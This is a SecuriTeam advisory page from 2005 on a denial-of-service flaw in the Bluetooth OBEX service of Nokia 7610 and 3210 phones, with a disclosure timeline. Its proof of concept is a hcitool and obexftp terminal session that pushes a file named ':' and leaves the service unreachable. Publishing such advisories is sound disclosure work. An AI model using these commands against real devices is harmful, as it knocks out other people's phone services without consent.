Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
SecuriTeam™  Beyond Security®  SecuriTeam™ Home  Ask the Team  Mailing Lists  Advertising Info  Blogs  Black Box Testing  Vulnerability Assessment  Vulnerability Scanner SecuriTeam™ in Your Inbox   E-mail this article to a friend New vulnerability? New tool? Tell us	Nokia OBEX DoS 27 Sep. 2005    Summary OBEX - "Object Exchange: a set of high-level protocols allowing objects such as vCard contact information and vCalendar schedule entries to be exchanged using either IrDA (IrOBEX) or Bluetooth. Symbian OS implements IrOBEX". A flaw in the OBEX implementation of Nokia 7610 and other models, allows attackers to disable the OBEX service by sending archives that contain the name ":" or "\".   Credit: The information has been provided by A. Ramos..    Details Audit your web server for security holes - see what the hackers see. Sign up for a scan today - risk free! Vulnerable Systems:  * Nokia 7610, Nokia 3210  * OBEX implementation in Nokia 7610 (V4.0.437 15-09-04 RH51) Proof of concept: jim:~# hcitool scan Scanning ...         00:13:70:5E:1F:01 7610 jim:~# obexftp -b 00:13:70:5E:1F:01 -p \: Browsing 00:13:70:5E:1F:01 ... Channel: 10 No custom transport obexftp_cli_open() obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT 1 cli_sync_request() obexftp_sync() client_done() client_done() Found connection number: -1022384746 client_done() Sender identified obexftp_sync() OBEX_HandleInput = 31 obexftp_sync() Done success=1 done Sending ":"... obexftp_put_file() Sending : -> : build_object_from_file() Lastmod = 2005-09-18T00:16:42Z cli_sync_request() cli_fillstream_from_file() cli_fillstream_from_file() Read 6 bytes cli_fillstream_from_file() cli_fillstream_from_file() Read 0 bytes obexftp_sync() obexftp_sync() OBEX_HandleInput = 0 failed: : obexftp_cli_disconnect() Disconnecting...cli_sync_request() failed: disconnect obexftp_cli_close() # Error pushing other file after send ":" filename: jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts Browsing 00:13:70:5E:1F:01 ... Channel: 10 No custom transport obexftp_cli_open() obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT -1 failed: connect Still trying to connect obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT -1 failed: connect Still trying to connect obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT -1 failed: connect Still trying to connect Disclosure Timeline: 20.09.2005 - Bug found 21.09.2005 - Nokia security contacted 24.09.2005 - Disclosure in NCN - V congress (http://www.noconname.org) 26.09.2005 - Full disclosure  Comments: Subject:   Date:  From:  Add new comment:  Subject:  Name/Nick/Email:          Chars Left:	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Cisco BBSM Captive Portal Cross-site Scripting Cisco Unified Communications Manager Denial of Service Vulnerabilities Novell eDirectory Unauthenticated Access to SOAP Interface Call of Duty Denial of Service Wonderware SuiteLink Denial of Service Vulnerability WebMod Multiple Vulnerabilities IAX2 Incomplete 3-Way Handshake (Spoofing) Multiple Vendor OpenOffice Vulnerabilities Apple Safari WebKit PCRE Handling Integer Overflow Vulnerability Cisco Network Admission Control Shared Secret Vulnerability ClamAV libclamav PeSpin Heap Overflow Vulnerability ClamAV libclamav PE WWPack Heap Overflow Vulnerability IBM Informix Pre-Authentication Stack Overflow Adobe Flash Player DeclareFunction2 Invalid Object Use Vulnerability HP OpenView NNM Buffer Overflow  Featured Articles Microsoft Windows I2O Filter Utility Driver (i2omgmt.sys) Local Privilege Escalation Vulnerability Adobe Acrobat Javascript PDF Security Feature Bypass and Memory Corruption Vulnerabilities Multiple Vendor rdesktop Vulnerabilities Wonderware SuiteLink Denial of Service Vulnerability PHP Multibyte Shell Command Escaping Bypass Vulnerability Akamai Download Manager Arbitrary Program Execution Vulnerability SugarCRM Community Edition Local File Disclosure Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2008 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®